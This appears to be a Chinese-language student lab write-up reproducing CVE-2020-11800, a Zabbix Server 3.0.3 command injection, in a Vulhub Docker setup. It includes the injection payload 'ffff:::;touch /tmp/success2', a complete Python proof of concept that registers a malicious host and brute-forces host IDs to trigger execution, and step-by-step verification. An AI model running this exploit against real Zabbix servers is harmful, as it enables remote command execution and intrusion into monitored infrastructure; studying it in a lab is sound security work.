作业指南要求的章节均以“(必需)”标记。
本环境使用基于 Vulhub 提供的存在漏洞的 Zabbix Server 镜像的自定义 Dockerfile。
FROM vulhub/zabbix:3.0.3-server
该 Dockerfile 使用存在漏洞的 Zabbix 3.0.3 服务器环境构建本地镜像。构建过程中未添加额外的软件包或配置。
漏洞环境使用 Docker Compose 进行配置。
该环境由四个服务组成:
server 服务使用 Dockerfile 在本地构建:
server:
build: .
image: cve-2020-11800-server
MySQL 容器通过卷挂载自动从 src/ 目录导入 SQL 初始化文件:
volumes:
- ./src/:/docker-entrypoint-initdb.d/
这使数据库架构和初始 Zabbix 数据能够在容器启动时自动加载。
该环境按以下结构运行:
[Browser]
↓
[Zabbix Web]
↓
[Zabbix Server]
↓
[MySQL]
[Agent] → [Server]
提供可通过浏览器访问的基于 Web 的管理界面。
管理员通过该界面配置自动注册并执行与监控相关的操作。
负责以下功能的核心组件:
命令注入漏洞在该容器内被触发。
充当被监控的主机,并与 Zabbix Server 进行通信。
漏洞利用在代理注册过程中滥用了自动注册机制。
存储 Zabbix 配置数据、主机信息以及与监控相关的数据。
| 服务 | 镜像 | 版本 |
|---|---|---|
| Zabbix Server | vulhub/zabbix | 3.0.3-server |
| Zabbix Web | vulhub/zabbix | 3.0.3-web |
| MySQL | mysql | 5 |
该环境基于 Vulhub 提供的存在漏洞的 Zabbix 3.0.3 环境。
CVE-2020-11800 是 Zabbix Server Active Proxy Trapper 功能中的一个命令注入漏洞。
该漏洞的存在是因为 CVE-2017-2824 的补丁不完整。攻击者可以使用 IPv6 风格的载荷绕过原始补丁,并在 Zabbix Server 上执行任意命令。
当服务器处理用户可控的主机信息时,该漏洞会在自动注册过程中被触发。
该漏洞的根本原因是 Shell 命令中对用户可控输入的不安全处理。
在脚本执行期间,Zabbix Server 会使用已注册的主机 IP 值来构造命令,例如:
ping <host_ip>
在正常条件下:
ping 127.0.0.1
然而,如果攻击者使用以下载荷注册主机:
ffff:::;touch /tmp/success2
Shell 最终执行的命令将变为:
ping ffff:::;touch /tmp/success2
由于分号(;)充当 Shell 命令分隔符,Shell 会将输入解释为两个独立的命令:
ping ffff:::
touch /tmp/success2
因此,任意命令执行成为可能。
CVE-2017-2824 的原始补丁试图限制恶意输入值。
然而,验证逻辑未能正确处理 IPv6 风格的输入。
载荷:
ffff:::;touch /tmp/success2
使用类 IPv6 前缀(ffff:::)绕过现有的验证逻辑,同时仍然注入 Shell 元字符。
这使得攻击者能够绕过先前的补丁并继续利用该命令注入漏洞。
漏洞利用过程按以下顺序发生:
Attacker
↓
Fake Agent Registration
↓
Malicious IP Stored
↓
Zabbix Script Execution
↓
Shell Command Construction
↓
Command Injection
↓
Arbitrary Command Execution
攻击者首先发送包含精心构造的 IP 字段的恶意自动注册请求。
主机注册后,Zabbix Server 会使用存储的主机 IP 值执行监控脚本。
在此过程中,恶意载荷被 Shell 解释,从而导致任意命令执行。
该漏洞利用允许攻击者以 Zabbix Server 进程的权限执行任意命令。
在本环境中,成功利用会在服务器容器内创建以下文件:
/tmp/success2
这证实了注入的 Shell 命令已成功执行。
在真实环境中,成功利用可能使攻击者能够:
该漏洞尤其危险,因为监控服务器通常能访问多个内部系统和基础设施组件。
概念验证(PoC)使用 Python 编写,并通过 TCP 端口 10051 直接与 Zabbix Server 通信。
该 PoC 执行以下操作:
hostid 值import sys
import socket
import json
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
response = conn.recv(2048)
conn.close()
return response
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target-ip>")
sys.exit(1)
target = sys.argv[1]
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
print("[*] Sending malicious auto-registration request...")
print(send(target, payload))
print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
data = send(target, {
"request": "command",
"scriptid": 1,
"hostid": str(i)
})
if data and b'failed' not in data:
print("[+] hostid: %d" % i)
print(data)
此 PoC 中使用的载荷为:
ffff:::;touch /tmp/success2
| 部分 | 用途 |
|---|---|
ffff::: | 用于绕过验证的类 IPv6 前缀 |
; | Shell 命令分隔符 |
touch /tmp/success2 | 在服务器上执行的任意命令 |
该载荷利用了服务器将用户可控的 IP 值不当拼接进 Shell 命令这一事实。
该载荷在自动注册过程中通过 ip 字段传递。
PoC 发送的第一个请求会尝试注册一个恶意主机。
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
注册后,PoC 会尝试查找有效的 hostid。
for i in range(10000, 10500):
PoC 会遍历一系列可能的主机 ID,并尝试触发脚本执行。
此步骤是必要的,因为服务器在注册后会动态分配主机 ID。
以下请求会触发命令执行:
{
"request": "command",
"scriptid": 1,
"hostid": str(i)
}
| 参数 | 描述 |
|---|---|
request | 请求脚本执行 |
scriptid | 已配置 Zabbix 脚本的 ID |
hostid | 目标主机 ID |
在本环境中,scriptid:1 对应一个与 ping 相关的脚本,该脚本在命令执行期间会使用主机 IP 值。
Zabbix Server 会在内部构造一个类似于以下的 Shell 命令:
ping ffff:::;touch /tmp/success2
Shell 将其解释为:
ping ffff:::
touch /tmp/success2
结果是:
touch 命令成功执行在成功利用期间,可能会出现以下输出:
ping: bad address 'ffff:::'
这表明载荷已到达 Shell 命令执行阶段。
当服务器容器内存在以下文件时,即可确认利用成功:
/tmp/success2
完整的漏洞利用流程总结如下:
Start Docker Environment
↓
Access Zabbix Web Interface
↓
Enable Auto Registration
↓
Run exploit.py
↓
Register Malicious Host
↓
Trigger Script Execution
↓
Command Injection
↓
Verify /tmp/success2
使用 Docker Compose 启动漏洞环境。
docker compose up -d
检查所有容器是否正常运行。
docker compose ps
该环境应包含以下容器:
打开浏览器并访问 Zabbix Web 界面。
http://127.0.0.1:8080
默认凭据:
Username: admin
Password: zabbix
该漏洞利用需要启用自动注册功能。
导航到:
Configuration → Actions
将事件源更改为:
Auto registration
创建一个新的动作(Action)并配置以下操作:
Operation Type: Add Host
这允许新注册的代理自动添加到服务器。
执行 PoC 脚本。
python3 exploit.py 127.0.0.1
PoC 会发送恶意自动注册请求,并尝试使用多个主机 ID 触发命令执行。
在成功利用期间,可能会出现类似于以下的输出:
hostid: 10106
{"response":"success","data":"ping: bad address 'ffff:::'"}
这表明载荷已到达存在漏洞的 Shell 命令执行路径。
进入 Zabbix Server 容器。
docker exec -it cve-2020-11800-server-1 bash
验证注入的命令是否创建了目标文件。
ls -l /tmp/success2
成功利用会产生类似于以下的输出:
-rw-rw-r-- 1 zabbix zabbix 0 May 10 19:48 /tmp/success2
这证实了已在 Zabbix Server 容器内成功执行任意命令。
以下截图包含在 screenshots/ 目录中:

